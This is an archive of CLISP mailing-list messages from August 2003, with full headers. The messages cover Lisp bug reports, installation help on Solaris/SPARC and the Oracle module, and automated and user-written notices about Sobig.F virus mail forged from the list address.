postmaster@fh-wolfenbuettel.de Diese Mail wurde automatisch erzeugt| This mail was genarated automaticaly. ----------------------------------------------------------------------------- ############## ############## Dipl.-Ing. Thomas Keune ## ## Fachhochschule Rechenzentrum - Computing Center ## ## ## Braunschweig/Wolfenbuettel ## ## ## ## Wolfenbuettel ### ## ## Germany # ########## ############ University of Applied Sciences ----------------------------------------------------------------------------- From hin@van-halen.alma.com Thu Aug 21 22:02:39 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19q44G-00057R-00 for ; Thu, 21 Aug 2003 22:02:32 -0700 Received: from swangold.dsl.net ([65.84.81.10]:59990) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19pZWG-0002bT-LT for ; Wed, 20 Aug 2003 13:25:24 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by swangold.dsl.net (Postfix) with ESMTP id 2D8792FBAD; Wed, 20 Aug 2003 16:25:12 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7KKPB7G024856; Wed, 20 Aug 2003 16:25:11 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7KKPBK6024853; Wed, 20 Aug 2003 16:25:11 -0400 Message-Id: <200308202025.h7KKPBK6024853@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 20 Aug 2003 14:00:00 -0400) Subject: Re: [clisp-list] Re: Please make sure your machine is virus clean! X-EA-Verified: externalmx.vasoftware.com 19pZWG-0002bT-LT eb3960ceaab879423c81ded16732a3d6 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 22:05:28 2003 X-Original-Date: Wed, 20 Aug 2003 16:25:11 -0400 > you cannot get any viruses from clisp-list because I do not let any > attachments in. This is true. > what you have been getting is notifications that someone was forging > clisp-list as the sender of viruses. No, I am getting Emails containing the actual virus w/ the From: address as clisp-list, clearly forged. Came from FIT.EDU (Florida Inst. of Technology). It's annoying because it slips through my filter by way of the "white list," which accepts everything From: clisp-list regardless of content. Just in case there is a ever a Viagra discussion on clisp-list I won't miss it :) > It should be somewhat better now - I tighten the filtering a little bit. Thanks From Isabelle.Betrisey@hepvs.ch Thu Aug 21 22:16:24 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19q4He-00069W-00 for ; Thu, 21 Aug 2003 22:16:22 -0700 Received: from [153.109.106.15] (port=11475 helo=nwehep1.hepvs.ch) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19pVPC-0007QN-BC for ; Wed, 20 Aug 2003 09:01:50 -0700 Received: from HEPVS-MTA by nwehep1.hepvs.ch with Novell_GroupWise; Wed, 20 Aug 2003 18:03:49 +0200 Message-Id: X-Mailer: Novell GroupWise Internet Agent 6.5.0 From: "Isabelle Betrisey" Reply-To: Isabelle.Betrisey@hepvs.ch To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-EA-Verified: externalmx.vasoftware.com 19pVPC-0007QN-BC 9f3105ac4f00bd26215bd98b489e6aa2 X-Spam-Score: 0.0 (/) Subject: [clisp-list] =?ISO-8859-1?Q?R=E9p.=20:=20Re:=20Details=20(vacances)?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 22:19:11 2003 X-Original-Date: Wed, 20 Aug 2003 18:03:26 +0200 Je suis en vacances jusqu'au 18 ao=FBt et r=E9pondrai =E0 votre message = =E0 partir de cette date-l=E0. Isabelle B=E9trisey From pascal@informatimago.com Thu Aug 21 22:21:54 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19ptQu-0000rj-00; Thu, 21 Aug 2003 10:41:12 -0700 Received: from thalassa.informatimago.com ([195.114.85.198]:35305) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19pWc6-00041w-9F; Wed, 20 Aug 2003 10:19:15 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 7F549B660B; Wed, 20 Aug 2003 18:52:56 +0200 (CEST) From: Pascal Bourguignon To: Cc: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030820165256.7F549B660B@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable X-EA-Verified: externalmx.vasoftware.com 19pWc6-00041w-9F 8a4d1b870f46ec4d20d65aabba9a3933 X-Spam-Score: -0.1 (/) Subject: [clisp-list] [conformity bug] documentation of package Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 22:24:23 2003 X-Original-Date: Wed, 20 Aug 2003 18:52:56 +0200 (CEST) [22]> (documentation (find-package :package) t) *** - DOCUMENTATION: first argument # is illegal, not a symbol =20 However,=20 http://www.lisp.org/HyperSpec/Body/stagenfun_doc_umentationcp.html#docume= ntation indicates for packages: Packages: documentation (x package) (doc-type (eql 't)) (setf documentation) new-value (x package) (doc-type (eql 't)) --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From AMaViS@fh-wolfenbuettel.de Thu Aug 21 22:20:00 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19q4L8-0007nd-00 for ; Thu, 21 Aug 2003 22:19:58 -0700 Received: from inet.fh-wolfenbuettel.de ([141.41.1.250]:49132) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19pUov-00043t-T1 for ; Wed, 20 Aug 2003 08:24:22 -0700 Received: from inet.fh-wolfenbuettel.de (localhost [127.0.0.1]) by Inet.FH-Wolfenbuettel.DE (8.12.9/8.12.9) with ESMTP id h7KFOBs4027985 for ; Wed, 20 Aug 2003 17:24:12 +0200 (MEST) Received: (from root@localhost) by inet.fh-wolfenbuettel.de (8.12.9/8.12.7/Submit) id h7KFOBYb027984; Wed, 20 Aug 2003 17:24:11 +0200 (MEST) Message-Id: <200308201524.h7KFOBYb027984@inet.fh-wolfenbuettel.de> From: AMaViS@FH-Wolfenbuettel.DE To: X-Spam-Report: 3.3/5.0 NO_REAL_NAME (0.7 points) From: does not include a real name PLING_PLING (1.8 points) Subject has lots of exclamation marks MANY_EXCLAMATIONS (0.8 points) Subject has many exclamations X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-EA-Verified: externalmx.vasoftware.com 19pUov-00043t-T1 6c0a2b852591ee725e0a193987cee95d X-Spam-Score: 3.3 (+++) Subject: [clisp-list] !!! Virus in Ihrer Mail !!! Virus in your Mail !!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 22:29:22 2003 X-Original-Date: Wed, 20 Aug 2003 17:24:11 +0200 (MEST) ----------------------------------------------------------------------------- E-Mail V i r e n - A l a r m E-Mail V i r u s A l e r t V i r u s A l e r t E-Mail V i r e n - A l a r m V i r e n - A l a r m E-Mail V i r u s A l e r t E-Mail ----------------------------------------------------------------------------- Der Virenchecker im Mailsystem hat | The viruschecker in the mailsystem den/die | found the 'W32/Sobig-F' Virus/Viren in einer Mail von | virus(es) in an email from you. Ihnen gefunden. | Betroffen ist die E-Mail an: | Infected is the mail to -> | Bitte nehmen Sie eine Viren- | Please check your system for ueberpruefung Ihres Rechners vor ! | viruses. | Hier der Kopf der betroffenen | Here is the header of the infected Mail: | mail: ----------------------------------------------------------------------------- From: To: Subject: Re: Wicked screensaver Date: Wed, 20 Aug 2003 17:24:06 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_006A3D05" ----------------------------------------------------------------------------- Bei Fragen wenden Sie sich bitte an | For questions, please mail to postmaster@fh-wolfenbuettel.de Diese Mail wurde automatisch erzeugt| This mail was genarated automaticaly. ----------------------------------------------------------------------------- ############## ############## Dipl.-Ing. Thomas Keune ## ## Fachhochschule Rechenzentrum - Computing Center ## ## ## Braunschweig/Wolfenbuettel ## ## ## ## Wolfenbuettel ### ## ## Germany # ########## ############ University of Applied Sciences ----------------------------------------------------------------------------- From slg3@lehigh.edu Fri Aug 22 00:48:27 2003 Received: from rain.cc.lehigh.edu ([128.180.39.20]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19pxOr-0000cl-00 for ; Thu, 21 Aug 2003 14:55:21 -0700 Received: from ns1.CC.Lehigh.EDU (ns1.CC.Lehigh.EDU [128.180.39.17]) by rain.CC.Lehigh.EDU (8.12.9/8.12.9) with ESMTP id h7LLtI1W002541 for ; Thu, 21 Aug 2003 17:55:18 -0400 Received: (from slg3@localhost) by ns1.CC.Lehigh.EDU (AIX4.3/8.9.3/8.8.5) id RAA29006; Thu, 21 Aug 2003 17:50:36 -0400 Message-Id: <200308212150.RAA29006@ns1.CC.Lehigh.EDU> From: slg3@Lehigh.EDU (SAMUEL L. GULDEN) X-Mailer: SENDM [Version 2.0.17] To: clisp-list@lists.sourceforge.net Subject: [clisp-list] clisp-2.29 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 00:49:54 2003 X-Original-Date: Thu, 21 Aug 2003 17:50:32 EDT I am trying to install clisp-2.29 on our sparc system. However, lisp.run seems to want a file or directory /usr/lib/ld.so.1 which is not available. Where can I find it? Sam Gulden From phalgune@jasper01.cs.orst.edu Fri Aug 22 06:43:11 2003 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19puuO-0000Cd-00; Thu, 21 Aug 2003 12:15:44 -0700 Received: from jasper01.CS.ORST.EDU (jasper01.CS.ORST.EDU [128.193.39.108]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h7LJFVa6025767; Thu, 21 Aug 2003 12:15:31 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper01.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h7LJFU12009707; Thu, 21 Aug 2003 12:15:30 -0700 (PDT) From: amit phalgune To: Sam Steingold cc: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLIP , Mac and sockets In-Reply-To: Message-ID: References: <200308201858.h7KIw8a7004743@ghost.CS.ORST.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 06:44:03 2003 X-Original-Date: Thu, 21 Aug 2003 12:15:30 -0700 (PDT) Also the CLISP site mentions about the Fink for Macs. Is this some kind of interface between Mac and CLISP throughsome Unix systems ? Please help !! Amit From jwilliams@ercot.com Fri Aug 22 07:52:53 2003 Received: from mail.ercot.com ([65.67.37.83]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qDHY-0008BA-00 for ; Fri, 22 Aug 2003 07:52:53 -0700 Received: from mail.ercot.com ([10.3.16.29]) by mail.ercot.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 22 Aug 2003 09:52:43 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] clisp-2.29 Message-ID: <196B06F749D8D94DB0A6B737CDCA33E21A48C8@prw2kt82.ercot.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] clisp-2.29 Thread-Index: AcNogzH1wucxLibETy+n9LYzxHVDhAAOWPRA From: "Williams, Jack" To: X-OriginalArrivalTime: 22 Aug 2003 14:52:43.0892 (UTC) FILETIME=[0AFC4B40:01C368BD] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 07:54:09 2003 X-Original-Date: Fri, 22 Aug 2003 09:52:43 -0500 What version of Solaris are you running and on what platform? This is a = part of the core OS install on Solaris 8 and 9 and someone would have to = explicitly remove it for it to be missing.=20 Thanks, Jack Williams -----Original Message----- From: SAMUEL L. GULDEN [mailto:slg3@Lehigh.EDU] Sent: Thursday, August 21, 2003 4:51 PM To: clisp-list@lists.sourceforge.net Subject: [clisp-list] clisp-2.29 I am trying to install clisp-2.29 on our sparc system. However, lisp.run seems to want a file or directory /usr/lib/ld.so.1 which is not available. Where can I find it? Sam Gulden ------------------------------------------------------- This SF.net email is sponsored by: VM Ware With VMware you can run multiple operating systems on a single machine. WITHOUT REBOOTING! Mix Linux / Windows / Novell virtual machines at the same time. Free trial click = here:http://www.vmware.com/wl/offer/358/0 _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From pascal@informatimago.com Fri Aug 22 10:27:15 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19q98I-0005zZ-00 for ; Fri, 22 Aug 2003 03:27:04 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 68EC9B661C; Fri, 22 Aug 2003 12:26:44 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16197.61412.380772.772507@thalassa.informatimago.com> To: slg3@Lehigh.EDU (SAMUEL L. GULDEN) Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] clisp-2.29 In-Reply-To: <200308212150.RAA29006@ns1.CC.Lehigh.EDU> References: <200308212150.RAA29006@ns1.CC.Lehigh.EDU> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 10:29:17 2003 X-Original-Date: Fri, 22 Aug 2003 12:26:44 +0200 SAMUEL L. GULDEN writes: > I am trying to install clisp-2.29 on our sparc system. However, lisp.ru= n > seems to want a file or directory /usr/lib/ld.so.1 which is not > available. Where can I find it? I don't know on sparc, but last time I missed a ld.so on linux, I just had to make this symlink to solve the problem: % ls -l /lib/ld.so lrwxrwxrwx 1 root root 13 2003-07-28 19:40 /lib/ld.so -> ld-linux.so.= 2 So, if you find a ld*.so.* somewhere for sparc, you may try the same tric= k. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From lisp-clisp-list@m.gmane.org Fri Aug 22 10:39:21 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qFsc-0007GE-00 for ; Fri, 22 Aug 2003 10:39:18 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qFtT-0002mv-00 for ; Fri, 22 Aug 2003 19:40:11 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19qEyf-0002Hr-00 for ; Fri, 22 Aug 2003 18:41:29 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19qExl-0000Hr-00 for ; Fri, 22 Aug 2003 18:40:33 +0200 From: Georges Ko Organization: gko.net Lines: 33 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (windows-nt) Hamster/2.0.0.1 Cancel-Lock: sha1:g+MTMWTk0cmkfAd7cDA/TalTRmg= Subject: [clisp-list] Binaries of clisp-oracle with Oracle for Sun ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 10:41:07 2003 X-Original-Date: Sat, 23 Aug 2003 00:40:21 +0800 Hello, Has someone binaries for a machine like this: SunOS ap 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-4 that includes the clisp-oracle module ? When I try to compile, I have a core dump: From hin@van-halen.alma.com Fri Aug 22 11:13:48 2003 Received: from swangold.dsl.net ([65.84.81.10]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qGPu-0002bj-00 for ; Fri, 22 Aug 2003 11:13:43 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by swangold.dsl.net (Postfix) with ESMTP id BD3672FBF2; Fri, 22 Aug 2003 14:13:35 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.9/8.12.9) with ESMTP id h7MIDZ7G000932; Fri, 22 Aug 2003 14:13:35 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.9/8.12.9/Submit) id h7MIDZiT000929; Fri, 22 Aug 2003 14:13:35 -0400 Message-Id: <200308221813.h7MIDZiT000929@van-halen.alma.com> From: "John K. Hinsdale" To: gko@gko.net Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Georges Ko on Sat, 23 Aug 2003 00:40:21 +0800) Subject: Re: [clisp-list] Binaries of clisp-oracle with Oracle for Sun ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 11:15:06 2003 X-Original-Date: Fri, 22 Aug 2003 14:13:35 -0400 > Has someone binaries for a machine like this: > SunOS ap 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-4 > that includes the clisp-oracle module ? I'm not aware anyone has compiled --with-module=oracle under Sun, but there's no reason why it should not work. I developed the module under Debian Linux and Oracle 8.1.7. (You need at least 8.0.5 to use the module). > When I try to compile, I have a core dump: Do you mean (a) you get a core dump during the compilation, or (b) a core dump when you are running CLISP compiled from source? I'm guessing (b). What version of CLISP are you compiling? Early versions of the Oracle module had bugs, and also relied on parts of the CLISP FFI interface that had bugs. But these have since been fixed. If you've got the lastest CVS snapshot, it really should work. If not, consider using using the CVS snapshot as your source base. In any case I would be happy to help you make it work. If you want to use a stable CLISP codebase (e.g. 2.30) it may work to just drop in the latest source for the Oracle module -- I can email you a tarball -- and recompile. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From antivirus@jaring.my Fri Aug 22 11:57:07 2003 Received: from css4.jaring.my ([61.6.32.94]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qH5s-0008Bd-00 for ; Fri, 22 Aug 2003 11:57:05 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by css4.jaring.my (8.12.8/8.12.5) with ESMTP id h7MIv0cX001799 for ; Sat, 23 Aug 2003 02:57:00 +0800 Message-Id: <200308221857.h7MIv0cX001799@css4.jaring.my> From: JARING E-Mail Virus Scanner To: X-Priority: 1 (highest) User-Agent: JARING E-Mail Virus Scanner X-Virus-Scanned: JARING E-Mail Virus Scanner Subject: [clisp-list] ALERT: You may have sent a Virus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 11:58:06 2003 X-Original-Date: Sat, 23 Aug 2003 02:57:00 +0800 Dear , JARING E-Mail Virus Scanner has detected virus(es) in your e-mail attachment(s) Original Date: Aug 23 02:57:00 Original Sender: Original To: Original Subject: Thank you! Virus info:- ------------ Attachname: h7MIuxcX00179 was infected with W32.Sobig.F@mm, and deleted Thank you, JARING E-Mail Virus Scanner ( http://www.jaring.my ) From pascal@informatimago.com Fri Aug 22 12:09:19 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19puKX-0001Sr-00 for ; Thu, 21 Aug 2003 11:38:42 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 7EB01B6612; Thu, 21 Aug 2003 20:38:32 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16197.4520.477616.153675@thalassa.informatimago.com> To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] virus allert. In-Reply-To: <87ptizm7lr.fsf@plato.moon.paoloamoroso.it> References: <20030820183524.GA22341@bakunin.copyleft.de> <87ptizm7lr.fsf@plato.moon.paoloamoroso.it> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 12:11:15 2003 X-Original-Date: Thu, 21 Aug 2003 20:38:32 +0200 Paolo Amoroso writes: > Michael Koehne writes: >=20 > > Linux ;) - I had about 359 megabyte bounces from this virus and sev= eral > > people went offline during the last days because of viruses that ca= nt > > be delivered, and bounced back to the faked From: address. >=20 > Given that such viruses spoof From: fields, automatic virus notificatio= ns > from are becoming equally obnoxious and useless. It's been so for a long time. That's why I disabled issuing notification outside of our organization. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From dgou@mac.com Fri Aug 22 13:36:35 2003 Received: from a17-250-248-97.apple.com ([17.250.248.97] helo=smtpout.mac.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19qDrC-0003Zl-00 for ; Fri, 22 Aug 2003 08:29:42 -0700 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h7MFTeDE026030; Fri, 22 Aug 2003 08:29:40 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h7MFTYlc020234; Fri, 22 Aug 2003 08:29:37 -0700 (PDT) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: clisp-list@lists.sourceforge.net To: sds@gnu.org From: Douglas Philips Content-Transfer-Encoding: 7bit Message-Id: <6E3D596F-D4B5-11D7-AEAF-000393030214@mac.com> X-Mailer: Apple Mail (2.552) Subject: [clisp-list] CLisp or Me, take three? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 22 13:40:05 2003 X-Original-Date: Fri, 22 Aug 2003 11:29:33 -0400 % cat test3.lisp (defclass t1 () ( (foo :accessor foo :initform :foo))) (defun test-me () (let ((a (make-instance 't1))) (if (typep a 't1) (format t "worked~%") (format t "failed!~%")))) (test-me) % clisp test3 worked % clisp -C test3 failed! Man, I just hate chasing these kinds of bugs. No more -C for me for a while. ; Fri, 22 Aug 2003 13:39:26 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h7MKdHi02797; Fri, 22 Aug 2003 16:39:18 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Douglas Philips Cc: clisp-list@lists.sourceforge.net References: <6E3D596F-D4B5-11D7-AEAF-000393030214@mac.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <6E3D596F-D4B5-11D7-AEAF-000393030214@mac.com> Message-ID: Lines: 53 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: CLisp or Me, take three? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: 